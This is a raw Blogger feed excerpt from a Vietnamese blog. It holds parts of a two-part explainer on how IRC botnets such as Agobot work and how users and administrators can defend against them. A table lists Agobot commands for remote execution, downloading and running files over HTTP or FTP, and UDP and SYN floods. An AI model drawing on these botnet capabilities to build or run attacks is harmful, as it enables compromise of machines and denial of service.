size="3"&gt;&lt;font color="#3366ff"&gt;&lt;em&gt;&lt;img alt="" src="http://www.quantrimang.com/photos/image/042007/03/botnet_7.jpg" vspace="4"&gt;&lt;br&gt;Hình 7&lt;/em&gt;: Máy chủ đưa ra yêu cầu cho bot thứ hai&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;Ở ví dụ này chúng ta sử dụng những tính năng hết sức đơn giản. Còn thực tế, Agobot cung cấp một tập hợp rất phongphus các lệnh và chức năng. Một trong số chúng bạn có thể xem ở Bảng 2: &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;br /&gt;&lt;table align="center" border="1" cellpadding="4" cellspacing="1" width="70%"&gt;&lt;br /&gt;    &lt;tbody&gt;&lt;br /&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#003366"&gt;&lt;strong&gt;&lt;font color="#ffffff"&gt;Lệnh&lt;/font&gt;&lt;/strong&gt;&lt;/td&gt;&lt;br /&gt;            &lt;td bgcolor="#003366"&gt;&lt;strong&gt;&lt;font color="#ffffff"&gt;Mô tả&lt;/font&gt;&lt;/strong&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;command.list&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;Danh sách tất cả các lệnh có thể sử dụng&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;bot.dns&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;Xử lý một địa chỉ IP hoặc hostname&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;bot.execute&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;Chạy một file .exe trên máy từ xa&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;bot.open&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;Mở một file trên máy từ xa&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;bot.command&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;&amp;nbsp;Chạy một lệnh với system()&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;irc.server&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;Kết nối tới một IRC server&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;irc.join&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;Nhập thông tin của một kênh dẫn cụ thể&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;irc.privmsg&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;Gửi thư riêng cho một người dùng&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;http.execute&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;Download và thực thi file qua HTTP&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;ftp.execute&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;Download và thực thi file qua FTP&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;ddos.udpflood&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;Khởi động một chương trình UDP tràn&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;ddos.synflood&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;&amp;nbsp;Khởi động một Syn tràn&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;ddos.phaticmp&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;Khởi động một PHATicmp tràn&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;redirect.http&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;Khởi động một HTTP proxy&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;redirect.socks&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;&amp;nbsp;Khởi động một SOCKS4 proxy&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;pctrl.list&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;Đưa ra danh sách chương trình&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;pctrl.kill&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;&amp;nbsp;Loại bỏ các chương trình&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;    &lt;/tbody&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="center"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;font color="#3366ff"&gt;&lt;em&gt;Bảng 2&lt;/em&gt;: Một số lệnh Agobot&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;strong&gt;&lt;font color="#ff6600" size="4"&gt;Bảo vệ máy tính của bạn như thế nào &lt;br&gt;&lt;/font&gt;&lt;/strong&gt;&lt;br&gt;Bây giờ chúng ta sẽ xem xét một số phương thức bảo vệ trước khả năng xâm phạm và phá hoại của kiểu tấn công bot, dưới góc nhìn của cả người dùng và nhà quản trị. &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;Các chiến lược bảo vệ cho người dùng PC &lt;br&gt;&lt;/font&gt;&lt;/strong&gt;&lt;br&gt;Như đã đề cập tới ở trên, tấn công bot chủ yếu được thực hiện qua các loại sâu, lướt trên mạng để tìm kiếm lỗ hổng thâm nhập được. Do đó, bước đầu tiên là phải cập nhật thường xuyên, download cá bản vá và bản update hệ thống cho cả hệ điều hành cũng như các ứng dụng truy cập Internet. Sử dụng chương trình update tự động là một ý kiến hay. Bạn cũng nên cẩn thận khi mở các file đính kèm đáng ngờ trong e-mail. Cũng sẽ là khôn ngoan khi loại bỏ hỗ trợ hình thức ngôn ngữ kịch bản như ActiveX và JavaScript (hoặc ít nhất là kiểm soát việc sử dụng của chúng). Cuối cùng, yếu tố cơ sở là bạn phải dùng ít nhất một chương trình diệt virus, trojan và luôn luôn update phiên bản mới nhất của chúng. Dẫu vậy, nhiều bot được cấu hình lần tránh khởi sự kiểm soát của các chương trình diệt virus. Vì thế, bạn nên dùng thêm phần mềm tường lửa cá nhân, nhất là khi sử dụng máy tính nối mạng liên tục 24 giờ/ngày. &lt;br&gt;&lt;br&gt;Dấu hiệ chính khi có hiện diện của bot là tốc độ máy và tốc độ kết nối mạng trở nên cực kỳ chậm. Một cách kiểm tra các kết nối đáng ngờ đơn giản và hiệu quả là sử dụng công cụ netstat (xem hình 8): &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;font face="Courier New" size="2"&gt;C:/&amp;gt;netstat –an&lt;/font&gt; &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="center"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;font color="#3366ff"&gt;&lt;em&gt;&lt;img alt="" src="http://www.quantrimang.com/photos/image/042007/03/botnet_8.jpg" vspace="4"&gt;&lt;br&gt;Hình 8&lt;/em&gt;: Netstat trên một máy bị tấn công&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;Netstat &lt;/font&gt;&lt;/strong&gt;&lt;br&gt;&lt;br&gt;Netstat là một công cụ linh hoạt, tương thích được cả trên hệ điều hành Windows và các hệ thống *NIX. Chức năng của nó là kiểm soát các cổng đã được kích hoạt. Netstat kiểm tra quá trình nghe trên cổng TCP và UDP, sau đó cung cấp thông tin chi tiết và hoạt động mạng. Trên hệ thống *NIX, netstat hiển thị tất cả các dòng mở. Nó cũng sử dụng các bộ lọc chọn ngoài. &lt;br&gt;&lt;br&gt;Trạng thái kết nối có thể trên Netstat gồm: &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;    &lt;li&gt;&lt;br /&gt;    &lt;div&gt;ESTABLISHED – tất cả các host đều được kết nối&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;br /&gt;    &lt;div&gt;CLOSING – host từ xa đang đóng kết nối &lt;/div&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;br /&gt;    &lt;div&gt;LISTENING – host đang nghe kết nối đến &lt;/div&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;div&gt;SYN_RCVD – một host từ xa đuwocj yêu cầu khởi động kết nối &lt;/div&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;br /&gt;    &lt;div&gt;SYN_SENT – host đang khởi động kết nối mới &lt;/div&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;br /&gt;    &lt;div&gt;LAST_ACK – host phải gửi báo cáo trước khi đóng kết nối &lt;/div&gt;&lt;br /&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;br /&gt;    &lt;div&gt;TIMED_WAIT, CLOSE_WAIT – một host từ xa đang kết thúc kết nối &lt;/div&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;br /&gt;    &lt;div&gt;FIN_WAIT 1 – client đang kết thúc kết nối &lt;/div&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;div&gt;FIN_WAIT 2 – cả hai host đều đang kết thúc kết nối &lt;/div&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;/font&gt;&lt;/ul&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;Quan sát các kết nối ESTABLISHED tới cổng TCP trong phạm vi 6000 đến 7000 (thông thường là 6667). Nếu bạn thấy mình tính của mình bị xâm hại, hãy ngắt nó ra khỏi mạng Internet, làm sạch hệ thống, khởi động lại và kiểm tra. &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;Chiến lược bảo vệ cho người quản trị&lt;/font&gt;&lt;/strong&gt; &lt;br&gt;&lt;br&gt;Các quản trị viên thường phải cập nhật liên tục thông tin về những lỗ hổng mới nhất, cũng như đọc thường xuyên về tài nguyên bảo mật trên Internet mỗi ngày. Một số công cụ hỗ trợ Bugtraq, đưa ra bản mô tả tóm tắt danh sách thư là một ý kiến hay. Các quản trị viên cũng nên cố gắng tuyền truyền, nâng cao nhận thức cho người dùng của mình về vấn đề bảo mật và các chính sách bảo mật. &lt;br&gt;&lt;br&gt;Nghiên cứu nhật ký thường trình (bản ghi log) do IDS và nhiều hệ thống tường lửa, mail server, DHCP, proxy server tạo ra cũng rất cần thiết. Điều này có thể giúp phát hiện ra lưu lượng bất thường, một dấu hiệu của sự hiện diện bot và nhờ đó có biện pháp ngăn chặn kịp thời. Sau khi lưu lượng bất thường được chú ý, một siffer sẽ đến để nhận dạng mạng con và máy tính tạo ra nó. Tất cả các biện pháp dường như đều quen thuộc và không mấy khó khăn, nhưng mọi người thường quên, hoặc bỏ qua chúng. &lt;br&gt;&lt;br&gt;Bạn cũng có thể sử dụng một số kỹ thuật phức tạp hơn như honeybot. Honeybot là các máy được xây dựng với mục đích hấp dẫn kẻ tấn công. Vai trò của chúng là trở thành máy tính nạn nhân, giúp người quản trị định vị chính nguồn của vấn đề và nghiên cứu phương thức tấn công. &lt;br&gt;&lt;br&gt;Nhưng kết luận cuối cùng thì, cho dù công cụ hỗ trợ là gì đi chăng nữa, biện pháp phòng chống và bảo vệ tốt nhất trước các cuộc tấn công botnet là bản thân người dùng và nhận thức của họ. &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#ff6600" size="4"&gt;Đôi điều về tác giả&lt;/font&gt;&lt;/strong&gt; &lt;br&gt;&lt;br&gt;Tác giả của cuốn “&lt;strong&gt;&lt;em&gt;Các cuộc chiến robot - Botnet hoạt động như thế nào&lt;/em&gt;&lt;/strong&gt;” mà chúng ta vừa xem xét một phần nội dung của nó qua bài này là một nhóm ba người: &lt;em&gt;Massimiliano Romano&lt;/em&gt;, &lt;em&gt;Simone Rosignoli&lt;/em&gt;, &lt;em&gt;Ennio Giannini&lt;/em&gt;. Nếu có điều kiện và bạn đọc nào có nhu cầu tìm hiểu chuyên sâu hơn về những nội dung thú vị trong cuốn sách này, bạn có thể mua trên eBay hoặc tìm kiếm từ nguồn Internet phong phú. Và dưới đây là đôi điều về tác giả của cuốn sách này: &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;em&gt;Massimiliano Romano&lt;/em&gt;&lt;/strong&gt;: sở thích của ông là khoa học máy tính và mạng. Ông làm việc với vai trò nhân viên tự do ở một trong các công ty điện thoại di động lớn nhất Italia. Ông bỏ ra rất nhiều thời gian vào Ham Radio, đầu tư nghiên cứu và giải mã các tín hiệu radio số. &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;em&gt;Simone Rosignoli&lt;/em&gt;&lt;/strong&gt; hiện đang là sinh viên trường đại học La Sapienza ở Rome. Anh đang theo đuổi bằng Công nghệ khoa học máy tính (bảo mật và hệ thống) ở trường. Sở thích của chàng sinh viên này là lập trình bảo mật máy tính. Quả thât, “nhân tài không đợi tuổi”! &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;em&gt;Ennio Giannini&lt;/em&gt;&lt;/strong&gt; làm việc với vai trò như một chuyên gia phân tích hệ thống. Anh sử dụng nhiều thời gian rảnh rỗi của mình vào các cuộc thử nghiệm trong môi trường GNU/Linux. Anh là một người hỗ trợ và tổ chức nguồn mở tích cực và mạnh mẽ. &lt;/font&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-6846801714860231061?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/6846801714860231061/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=6846801714860231061' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/6846801714860231061'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/6846801714860231061'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/01/botnet-hot-ng-nh-th-no-phn-2.html' title='Botnet hoạt động như thế nào ? (Phần 2)'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-3099813537576421622</id><published>2008-01-27T13:15:00.000-08:00</published><updated>2008-01-27T13:17:59.733-08:00</updated><title type='text'>Botnet hoạt động như thế nào ?</title><content type='html'>&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;p align="justify"&gt;&lt;strong&gt;&lt;font color="#333333"&gt;Một trong những phương thức tấn công DDoS hiệu quả và phổ biến nhất hiện nay là hoạt động dựa trên hàng trăm máy tính bị chiếm quyền điều khiển (tức các zombie). Những zombie này thường bị kiểm soát và quản lý qua các mạng IRC, sử dụng được gọi là các botnet.&lt;/font&gt;&lt;/strong&gt; Ở bài này chúng ta sẽ xem xét một số cách thức tin tặc có thể dùng để tấn công và chiếm quyền điều khiển máy tính đích, cùng một số biện pháp đối phó hiệu quả nhằm bảo vệ máy tính trước những mối đe doạ nguy hiểm luôn rình rập xung quanh. &lt;br&gt;&lt;br&gt;&lt;strong&gt;Chúng ta sẽ tìm hiểu về&lt;/strong&gt;: &lt;br&gt;&lt;br&gt;• Như thế nào là bot, botnet; cách thức hoạt động của chúng. &lt;br&gt;• Những thành phần phổ biến nhất trong bot. &lt;br&gt;• Một host có thể bị tấn công và chiếm quyền điều khiển như thế nào. &lt;br&gt;• Biện pháp ngăn chặn hiệu quả và cách đối phó trước hoạt động phá hoại của chúng. &lt;br&gt;&lt;br&gt;&lt;strong&gt;Điều gì bạn nên biết?&lt;/strong&gt; &lt;br&gt;&lt;br&gt;• Cách thức hoạt động của phần mềm độc hại (malware) như trojan, worm, …. &lt;br&gt;• Cơ chế được dùng trong kiểu tấn công DDoS. &lt;br&gt;• Hiểu các khái niệm cơ bản của TCP/IP, DNS và IRC. &lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;br /&gt;&lt;table align="left" border="1" cellpadding="4" cellspacing="1" width="220"&gt;&lt;br /&gt;    &lt;tbody&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;“&lt;strong&gt;&lt;em&gt;Các cuộc chiến robot - Botnet hoạt động như thế nào&lt;/em&gt;&lt;/strong&gt;”, là tên một cuốn sách viết về thế giới hacker (nguyên bản tiếng Anh: &lt;strong&gt;Robot Wars - How Botnets Work&lt;/strong&gt;, tác giả &lt;em&gt;Massimiliano Romano&lt;/em&gt;, &lt;em&gt;Simone Rosignoli&lt;/em&gt;, &lt;em&gt;Ennio Giannini&lt;/em&gt;).&lt;/font&gt; &lt;/td&gt;&lt;br /&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;    &lt;/tbody&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;Cuối thế kỷ 19 cũng như đầu thiên niên kỷ mới đánh dấu bước phát triển nhanh, mạnh của một số chiến lược tấn công khác biệt nhắm vào hệ thống mạng. DDoS, tức Distributed Denial of Services, hình thức tấn công từ chối dịch vụ phân tán khét tiếng ra đời. Tương tự với người anh em DoS (tấn công từ chối dịch vụ), DDoS được phát tán rất rộng, chủ yếu nhờ tính đơn giản nhưng rất khó bị dò tìm của chúng. Đã có nhiều kinh nghiệm đối phó được chia sẻ, với khối lượng kiến thức không nhỏ về nó, nhưng ngày nay DDoS vẫn đang là một mối đe doạ nghiêm trọng, một công cụ nguy hiểm của hacker. Chúng ta hãy cùng tìm hiểu về DDoS và sản phẩm kế thừa từ nó: các cuộc tấn công botnet. &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#ff6600" size="4"&gt;Giới thiệu về Bot và Botnet&lt;/font&gt;&lt;/strong&gt; &lt;br&gt;&lt;br&gt;&lt;em&gt;Bot&lt;/em&gt; là viết tắt của &lt;em&gt;robot&lt;/em&gt;, tức các chương trình tự động hoá (chứ không phải là người máy như nghĩa chúng ta vẫn gọi) thường xuyên được sử dụng trong thế giới Internet. Người ta định nghĩa spider được dùng bởi các công cụ tìm kiếm trực tuyến, ánh xạ website và phần mềm đáp ứng theo yêu cầu trên IRC (như eggdrop) là robot. Các chương trình tự động phản ứng khi gặp sự kiện ngoài mạng nội bộ cũng được gọi là robot. Trong bài này, chúng ta sẽ quan tâm tới một kiểu robot cụ thể (hay bot như tên tắt vẫn thường được gọi) là IRC bot. IRC bot sử dụng các mạng IRC như một kênh liên lạc để nhận lệnh từ người dùng từ xa. Ví dụ cụ thể như, người dùng là một kẻ tấn công, còn bot là một Trojan horse. Một lập trình viên giỏi có thể dễ dàng tạo ra một số bot riêng của mình, hoặc xây dựng lại từ các bot có sẵn. Chúng có thể dễ dàng ẩn nấp trước những hệ thống bảo mật cơ bản, sau đó là phát tán đi nhanh chóng trong thời gian ngắn. &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;IRC &lt;/font&gt;&lt;br&gt;&lt;/strong&gt;&lt;br&gt;IRC là tên viết tắt của &lt;em&gt;Internet Relay Chat&lt;/em&gt;. Đó là một giao thức được thiết kế cho hoạt động liên lạc theo kiểu hình thức tán gẫu thời gian thực (ví dụ RFC 1459, các bản update RFC 2810, 2811, 2812, 2813) dựa trên kiến trúc client-server. Hầu hết mọi server IRC đều cho phép truy cập miễn phí, không kể đối tượng sử dụng. IRC là một giao thức mạng mở dựa trên nền tảng TCP (&lt;em&gt;Transmission Control Protocol&lt;/em&gt; - Giao thức điều khiển truyền vận), đôi khi được nâng cao với SSL (&lt;em&gt;Secure Sockets Layer&lt;/em&gt; - Tầng socket bảo mật). &lt;br&gt;&lt;br&gt;Một server IRC kết nối với server IRC khác trong cùng một mạng. Người dùng IRC có thể liên lạc với cả hai theo hình thức công cộng (trên các kênh) hoặc riêng tư (một đối một). Có hai mức truy cập cơ bản vào kênh IRC: mức người dùng (user) và mức điều hành (operator). Người dùng nào tạo một kênh liên lạc riêng sẽ trở thành người điều hành. Một điều hành viên có nhiều đặc quyền hơn (tuỳ thuộc vào từng kiểu chế độ do người điều hành ban đầu thiết lập ) so với người dùng thông thường. &lt;br&gt;&lt;br&gt;Các bot IRC được coi như một người dùng (hoặc điều hành viên) thông thường. Chúng là các quy trình daemon, có thể chạy tự động một số thao tác. Quá trình điều khiển các bot này thông thường dựa trên việc gửi lệnh để thiết lập kênh liên lạc do hacker thực hiện, với mục đích chính là phá hoại. Tất nhiên, việc quản trị bot cũng đòi hỏi cơ chế thẩm định và cấp phép. Vì thế, chỉ có chủ sở hữu chúng mới có thể sử dụng. &lt;br&gt;&lt;br&gt;Một thành phần quan trọng của các bot này là những sự kiện mà chúng có thể dùng để phát tán nhanh chóng tới máy tính khác. Xây dựng kế hoạch cần thận cho chương trình tấn công sẽ giúp thu được kết quả tốt hơn với thời gian ngắn hơn (như xâm phạm được nhiều máy tính hơn chẳng hạn). Một số &lt;em&gt;n&lt;/em&gt; bot kết nối vào một kênh đơn để chờ lệnh từ kẻ tấn công thì được gọi là một botnet. &lt;br&gt;&lt;br&gt;Cách đây chưa lâu, các mạng &lt;em&gt;zombie&lt;/em&gt; (một tên khác của máy tính bị tấn công theo kiểu bot) thường được điều khiển qua công cụ độc quyền, do chính những kẻ chuyên bẻ khoá cố tình phát triển. Trải qua thời gian, chúng hướng tới phương thức điều khiển từ xa. IRC được xem là công cụ phát động các cuộc tấn công tốt nhất nhờ tính linh hoạt, dễ sử dụng và đặc biệt là các server chung có thể được dùng như một phương tiện liên lạc. IRC cung cấp cách thức điều khiển đơn giản hàng trăm, thậm chí hàng nghìn bot cùng lúc một cách linh hoạt. Nó cũng cho phép kẻ tấn công che đậy nhân dạng thật của mình với một số thủ thuật đơn giản như sử dụng proxy nặc danh hay giả mạo địa chỉ IP. Song cũng chính bởi vậy mà chúng để lại dấu vết cho người quản trị server lần theo. &lt;br&gt;&lt;br&gt;Trong hầu hết các trường hợp tấn công bởi bot, nạn nhân chủ yếu là người dùng máy tính đơn lẻ, server ở các trường đại học hoặc mạng doanh nghiệp nhỏ. Lý do là bởi máy tính ở những nơi này không được giám sát chặt chẽ và thường để hở hoàn toàn lớp bảo vệ mạng. Những đối tượng người dùng này thường không xây dựng cho mình chính sách bảo mật, hoặc nếu có thì không hoàn chỉnh, chỉ cục bộ ở một số phần. Hầu hết người dùng máy tính cá nhân kết nối đường truyền ADSL đều không nhận thức được các mối nguy hiểm xung quanh và không sử dụng phần mềm bảo vệ như các công cụ diệt virus hay tường lửa cá nhân. &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#ff6600" size="4"&gt;Bot và các ứng dụng của chúng&lt;/font&gt;&lt;/strong&gt; &lt;br&gt;&lt;br&gt;Khả năng sử dụng bot và các ứng dụng của chúng cho máy tính bị chiếm quyền điều khiển hoàn toàn phụ thuộc vào sức sáng tạo và kỹ năng của kẻ tấn công. Chúng ta hãy xem một số ứng dụng phổ biến nhất. &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;DDoS&lt;/font&gt;&lt;/strong&gt; &lt;br&gt;&lt;br&gt;Các botnet được sử dụng thường xuyên trong các cuộc tấn công &lt;em&gt;Distributed Denial of Service&lt;/em&gt; (DDoS). Một kẻ tấn công có thể điều khiển số lượng lớn máy tính bị chiểm quyền điều khiển tại một trạm từ xa, khai thác băng thông của chúng và gửi yêu cầu kết nối tới máy đích. Nhiều mạng trở nên hết sức tồi tệ sau khi hứng chịu các cuộc tấn công kiểu này. Và trong một số trường hợp, thủ phạm được tìm thấy ngay khi đang tiến hành cuộc phá hoại (như ở các cuộc chiến dotcom). &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;Tấn công từ chối dịch vụ phân tán (DDoS)&lt;/font&gt;&lt;/strong&gt; &lt;br&gt;&lt;br&gt;Tấn công DDoS là một biến thể của Foolding DoS (Tấn công từ chối dịch vụ tràn). Mục đích của hình thức này là gây tràn mạng đích, sử dụng tất cả băng thông có thể. Kẻ tấn công sau đó sẽ có toàn bộ lượng băng thông khổng lồ trên mạng để làm tràn website đích. Đó là cách phát động tấn công tốt nhất để đặt được nhiều máy tính dưới quyền kiểm soát. Mỗi máy tính sẽ đưa ra băng thông riêng (ví dụ với người dùng PC cá nhân nối ADSL). Tất cả sẽ được dùng một lần, và nhờ đó, phân tán được cuộc tấn công vào website đích. Một trong các kiểu tấn công phổ biến nhất được thực hiện thông qua sử dụng giao thức TCP (một 